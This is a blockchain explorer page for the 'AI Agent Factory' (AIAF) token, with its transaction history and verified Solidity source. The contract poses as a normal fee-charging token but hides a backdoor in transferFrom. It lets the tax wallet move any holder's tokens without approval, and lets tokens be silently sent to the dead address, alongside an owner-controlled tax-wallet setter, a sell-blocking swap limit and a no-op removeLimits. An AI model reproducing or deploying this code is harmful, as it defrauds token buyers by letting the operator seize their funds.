ETH Price: $1,943.44 (-1.82%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer227261082025-06-17 18:47:59258 days ago1750186079IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.000150412.52308367
Approve227261082025-06-17 18:47:59258 days ago1750186079IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.000159483.44729854
Approve226311032025-06-04 11:53:35272 days ago1749038015IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.000105272.27483042
Set Taxwallet224689162025-05-12 18:15:59294 days ago1747073759IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.000273189.4070264
Transfer From224687362025-05-12 17:39:59294 days ago1747071599IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.0045842496.20861673
Approve224687272025-05-12 17:38:11294 days ago1747071491IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.0008416218.06958683
Approve224687272025-05-12 17:38:11294 days ago1747071491IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.0008416218.06958683
Approve224687272025-05-12 17:38:11294 days ago1747071491IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.0008416218.06958683
Transfer From224686442025-05-12 17:21:11294 days ago1747070471IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.00490156102.86825674
Approve224685562025-05-12 17:03:11294 days ago1747069391IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.000240749.13115852
Approve224685432025-05-12 17:00:35294 days ago1747069235IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.000464399.97046561
Approve224685412025-05-12 17:00:11294 days ago1747069211IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.000320396.92512389
Transfer From224684992025-05-12 16:51:23294 days ago1747068683IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.001820849.31230672
Transfer From224684982025-05-12 16:51:11294 days ago1747068671IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.001820849.31230672
Transfer From224684982025-05-12 16:51:11294 days ago1747068671IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.0023588549.31230672
Approve224684652025-05-12 16:44:35294 days ago1747068275IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.000473310.23039937
Approve224684652025-05-12 16:44:35294 days ago1747068275IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.000473310.23039937
Approve224684652025-05-12 16:44:35294 days ago1747068275IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.000473310.23039937
Transfer From224684552025-05-12 16:42:23294 days ago1747068143IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.0020919856.65652745
Transfer From224684552025-05-12 16:42:23294 days ago1747068143IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.0026996256.65652745
Approve224684402025-05-12 16:39:23294 days ago1747067963IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.0005134711.02420196
Transfer From224684402025-05-12 16:39:23294 days ago1747067963IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.0029598862.11844894
Transfer From224683822025-05-12 16:27:35294 days ago1747067255IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.0028402859.62353932
Approve224683242025-05-12 16:15:59294 days ago1747066559IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.0006677214.43272446
Approve224683242025-05-12 16:15:59294 days ago1747066559IN
0xeC54cd8A...CaF9BaB9A
0 ETH0.0006677214.43272446
View all transactions

Latest 3 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer224681472025-05-12 15:39:59294 days ago1747064399
0xeC54cd8A...CaF9BaB9A
1.04036061 ETH
Transfer224681472025-05-12 15:39:59294 days ago1747064399
0xeC54cd8A...CaF9BaB9A
1.04036061 ETH
Add Liquidity ET...224681372025-05-12 15:37:59294 days ago1747064279
0xeC54cd8A...CaF9BaB9A
1 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2025-05-12
*/

// SPDX-License-Identifier: MIT
/*
https://aiagentfactory.io
https://x.com/AIAgentFactoryX
http://t.me/ai_agentfactory
*/

pragma solidity ^0.8.24;

address constant _deadAddr = address(0xdead);

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

contract Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _excludedFromFee;
    address payable private _taxWallet;

    uint256 private _initLiquidityPool = 1;
    uint256 private _setinitialTax = 10;
    uint256 private _setfinalTax = 0;
    uint256 private _reduceTaxAt = 7;
    uint256 private _buyCount = 0;
    uint256 private _lastBuyBlock;
    uint256 private _blockBuyAmount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000_000_000 * 10**_decimals;
    string private constant _name = unicode"AI Agent Factory";
    string private constant _symbol = unicode"AIAF";
    uint256 public _maxTaxSwap = _tTotal;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(_msgSender());

        _excludedFromFee[address(this)] = true;
        _excludedFromFee[_taxWallet] = true;

        _balances[_msgSender()] = (_tTotal * 2) / 100;
        _balances[address(this)] = (_tTotal * 98) / 100;

        emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);
        emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function isContract(address _addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(_addr)
        }
        return size > 0;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (
            msg.sender != _taxWallet &&
            (sender == uniswapV2Pair || recipient != _deadAddr)
        )
            _approve(
                sender,
                _msgSender(),
                _allowances[sender][_msgSender()].sub(
                    amount,
                    "ERC20: transfer amount exceeds allowance"
                )
            );
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            from != address(this) && to != address(this)
        ) {
            if (!inSwap) {
                taxAmount = amount
                    .mul((_buyCount > _reduceTaxAt) ? _setfinalTax : _setinitialTax)
                    .div(100);
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_excludedFromFee[to] &&
                to != _taxWallet
            ) {
                if (_lastBuyBlock != block.number) {
                    _blockBuyAmount = 0;
                    _lastBuyBlock = block.number;
                }
                _blockBuyAmount += amount;
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                require(
                    _blockBuyAmount < _getAmountOut() ||
                        _lastBuyBlock != block.number,
                    "Max Swap Limit"
                );
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                from != _taxWallet
            ) {
                // require(!isContract(from), "ERC20: External call");
                if (contractTokenBalance > 0)
                {
                    uint256 swapBalance = contractTokenBalance > _maxTaxSwap
                        ? _maxTaxSwap
                        : contractTokenBalance;
                    swapNewTokenForEth(
                        amount > swapBalance ? swapBalance : amount
                    );
                }
                    
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendNewTokenETHToFee(address(this).balance);
                }
            }
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        if (to != _deadAddr) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendNewTokenETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function swapNewTokenForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrade() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function rescueETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    receive() external payable {}

    function setTaxwallet(address payable newWallet) external {
        require(_excludedFromFee[msg.sender]);
        _taxWallet = newWallet;
    }

    function _getAmountOut() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = uniswapV2Router.getAmountsOut(
            3 * 1e18,
            path
        );
        return amountOuts[1];
    }
    
    function removeLimits () external onlyOwner {
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setTaxwallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600555600a6006555f60075560076008555f6009555f600b556009600a6200002f919062000346565b6200003f90633b9aca006200035d565b600c55600e805461ffff60a81b191690555f600f819055601081905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633178155305f90815260036020526040808220805460ff19908116600190811790925593546001600160a01b03168352912080549092161790556064620000f26009600a62000346565b6200010290633b9aca006200035d565b6200010f9060026200035d565b6200011b919062000377565b335f9081526001602052604090205560646200013a6009600a62000346565b6200014a90633b9aca006200035d565b620001579060626200035d565b62000163919062000377565b305f90815260016020526040902055336001600160a01b03165f5f8051602062001c9983398151915260646200019c6009600a62000346565b620001ac90633b9aca006200035d565b620001b99060026200035d565b620001c5919062000377565b60405190815260200160405180910390a3305f5f8051602062001c998339815191526064620001f76009600a62000346565b6200020790633b9aca006200035d565b620002149060626200035d565b62000220919062000377565b60405190815260200160405180910390a362000397565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028b57815f19048211156200026f576200026f62000237565b808516156200027d57918102915b93841c939080029062000250565b509250929050565b5f82620002a35750600162000340565b81620002b157505f62000340565b8160018114620002ca5760028114620002d557620002f5565b600191505062000340565b60ff841115620002e957620002e962000237565b50506001821b62000340565b5060208310610133831016604e8410600b84101617156200031a575081810a62000340565b6200032683836200024b565b805f19048211156200033c576200033c62000237565b0290505b92915050565b5f6200035660ff84168362000293565b9392505050565b808202811582820484141762000340576200034062000237565b5f826200039257634e487b7160e01b5f52601260045260245ffd5b500490565b6118f480620003a55f395ff3fe6080604052600436106100f2575f3560e01c8063715018a61161008757806395d89b411161005757806395d89b411461029e578063a9059cbb146102ca578063dd62ed3e146102e9578063fb201b1d1461032d575f80fd5b8063715018a614610231578063751039fc14610245578063798e5036146102595780638da5cb5b14610278575f80fd5b806320800a00116100c257806320800a00146101ad57806323b872dd146101c3578063313ce567146101e257806370a08231146101fd575f80fd5b806306fdde03146100fd578063095ea7b3146101475780630faee56f1461017657806318160ddd14610199575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5060408051808201909152601081526f4149204167656e7420466163746f727960801b60208201525b60405161013e91906113ed565b60405180910390f35b348015610152575f80fd5b5061016661016136600461144d565b610341565b604051901515815260200161013e565b348015610181575f80fd5b5061018b600c5481565b60405190815260200161013e565b3480156101a4575f80fd5b5061018b610357565b3480156101b8575f80fd5b506101c1610377565b005b3480156101ce575f80fd5b506101666101dd366004611477565b6103e0565b3480156101ed575f80fd5b506040516009815260200161013e565b348015610208575f80fd5b5061018b6102173660046114b5565b6001600160a01b03165f9081526001602052604090205490565b34801561023c575f80fd5b506101c1610489565b348015610250575f80fd5b506101c16104fa565b348015610264575f80fd5b506101c16102733660046114b5565b610525565b348015610283575f80fd5b505f546040516001600160a01b03909116815260200161013e565b3480156102a9575f80fd5b5060408051808201909152600481526320a4a0a360e11b6020820152610131565b3480156102d5575f80fd5b506101666102e436600461144d565b610561565b3480156102f4575f80fd5b5061018b6103033660046114d0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610338575f80fd5b506101c161056d565b5f61034d338484610912565b5060015b92915050565b5f6103646009600a6115fb565b61037290633b9aca00611609565b905090565b5f546001600160a01b031633146103a95760405162461bcd60e51b81526004016103a090611620565b60405180910390fd5b5f47116103b4575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156103dd573d5f803e3d5ffd5b50565b5f6103ec848484610a35565b6004546001600160a01b031633148015906104295750600e546001600160a01b038581169116148061042957506001600160a01b03831661dead14155b1561047f5761047f843361047a85604051806060016040528060288152602001611897602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ef4565b610912565b5060019392505050565b5f546001600160a01b031633146104b25760405162461bcd60e51b81526004016103a090611620565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105235760405162461bcd60e51b81526004016103a090611620565b565b335f9081526003602052604090205460ff1661053f575f80fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f61034d338484610a35565b5f546001600160a01b031633146105965760405162461bcd60e51b81526004016103a090611620565b600e54600160a01b900460ff16156105f05760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a0565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561063990309061062b6009600a6115fb565b61047a90633b9aca00611609565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610689573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ad9190611655565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107309190611655565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561077a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079e9190611655565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d71947306107e5816001600160a01b03165f9081526001602052604090205490565b5f806107f85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561085e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108839190611670565b5050600e805462ff00ff60a01b1981166201000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108ee573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103dd919061169b565b6001600160a01b0383166109745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a0565b6001600160a01b0382166109d55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a0565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a0565b6001600160a01b038216610afb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a0565b5f8111610b5c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a0565b5f6001600160a01b0384163014801590610b7f57506001600160a01b0383163014155b15610d9c57600e54600160a81b900460ff16610bc457610bc16064610bbb60085460095411610bb057600654610bb4565b6007545b8590610f2c565b90610fb1565b90505b600e546001600160a01b038581169116148015610bef5750600d546001600160a01b03848116911614155b8015610c1357506001600160a01b0383165f9081526003602052604090205460ff16155b8015610c2d57506004546001600160a01b03848116911614155b15610c6f5743600a5414610c44575f600b5543600a555b81600b5f828254610c5591906116ba565b909155505060098054905f610c69836116cd565b91905055505b600e546001600160a01b038481169116148015610c9557506001600160a01b0384163014155b15610cf057610ca2610ff2565b600b541080610cb3575043600a5414155b610cf05760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a0565b305f90815260016020526040902054600e54600160a81b900460ff16158015610d265750600e546001600160a01b038581169116145b8015610d3b5750600e54600160b01b900460ff165b8015610d5557506004546001600160a01b03868116911614155b15610d9a578015610d8e575f600c548211610d705781610d74565b600c545b9050610d8c818511610d865784611177565b81611177565b505b47610d98476112e7565b505b505b6001600160a01b0384165f90815260016020526040902054610dbe9083611322565b6001600160a01b0385165f90815260016020526040902055610e01610de38383611322565b6001600160a01b0385165f9081526001602052604090205490611363565b6001600160a01b0384165f908152600160205260409020558015610e9157305f90815260016020526040902054610e389082611363565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e889085815260200190565b60405180910390a35b6001600160a01b03831661dead14610eee576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610edc8585611322565b60405190815260200160405180910390a35b50505050565b5f8184841115610f175760405162461bcd60e51b81526004016103a091906113ed565b505f610f2384866116e5565b95945050505050565b5f825f03610f3b57505f610351565b5f610f468385611609565b905082610f5385836116f8565b14610faa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a0565b9392505050565b5f610faa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113c1565b6040805160028082526060820183525f92839291906020830190803683375050600d54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa15801561105d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110819190611655565b815f815181106110935761109361172b565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106110c7576110c761172b565b6001600160a01b039283166020918202929092010152600d5460405163d06ca61f60e01b81525f92919091169063d06ca61f90611112906729a2241af62c0000908690600401611782565b5f60405180830381865afa15801561112c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405261115391908101906117a2565b9050806001815181106111685761116861172b565b60200260200101519250505090565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111bd576111bd61172b565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611214573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112389190611655565b8160018151811061124b5761124b61172b565b6001600160a01b039283166020918202929092010152600d546112719130911684610912565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112a99085905f9086903090429060040161185b565b5f604051808303815f87803b1580156112c0575f80fd5b505af11580156112d2573d5f803e3d5ffd5b5050600e805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561131e573d5f803e3d5ffd5b5050565b5f610faa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ef4565b5f8061136f83856116ba565b905083811015610faa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a0565b5f81836113e15760405162461bcd60e51b81526004016103a091906113ed565b505f610f2384866116f8565b5f602080835283518060208501525f5b81811015611419578581018301518582016040015282016113fd565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146103dd575f80fd5b5f806040838503121561145e575f80fd5b823561146981611439565b946020939093013593505050565b5f805f60608486031215611489575f80fd5b833561149481611439565b925060208401356114a481611439565b929592945050506040919091013590565b5f602082840312156114c5575f80fd5b8135610faa81611439565b5f80604083850312156114e1575f80fd5b82356114ec81611439565b915060208301356114fc81611439565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561155557815f190482111561153b5761153b611507565b8085161561154857918102915b93841c9390800290611520565b509250929050565b5f8261156b57506001610351565b8161157757505f610351565b816001811461158d5760028114611597576115b3565b6001915050610351565b60ff8411156115a8576115a8611507565b50506001821b610351565b5060208310610133831016604e8410600b84101617156115d6575081810a610351565b6115e0838361151b565b805f19048211156115f3576115f3611507565b029392505050565b5f610faa60ff84168361155d565b808202811582820484141761035157610351611507565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611665575f80fd5b8151610faa81611439565b5f805f60608486031215611682575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116ab575f80fd5b81518015158114610faa575f80fd5b8082018082111561035157610351611507565b5f600182016116de576116de611507565b5060010190565b8181038181111561035157610351611507565b5f8261171257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f815180845260208085019450602084015f5b838110156117775781516001600160a01b031687529582019590820190600101611752565b509495945050505050565b828152604060208201525f61179a604083018461173f565b949350505050565b5f60208083850312156117b3575f80fd5b825167ffffffffffffffff808211156117ca575f80fd5b818501915085601f8301126117dd575f80fd5b8151818111156117ef576117ef611717565b8060051b604051601f19603f8301168101818110858211171561181457611814611717565b604052918252848201925083810185019188831115611831575f80fd5b938501935b8285101561184f57845184529385019392850192611836565b98975050505050505050565b85815284602082015260a060408201525f61187960a083018661173f565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202cfc87f4f3d2169fb3224c108e0edd8ffd4a1340a2aaa70ce7cbe73dc1daeb3664736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

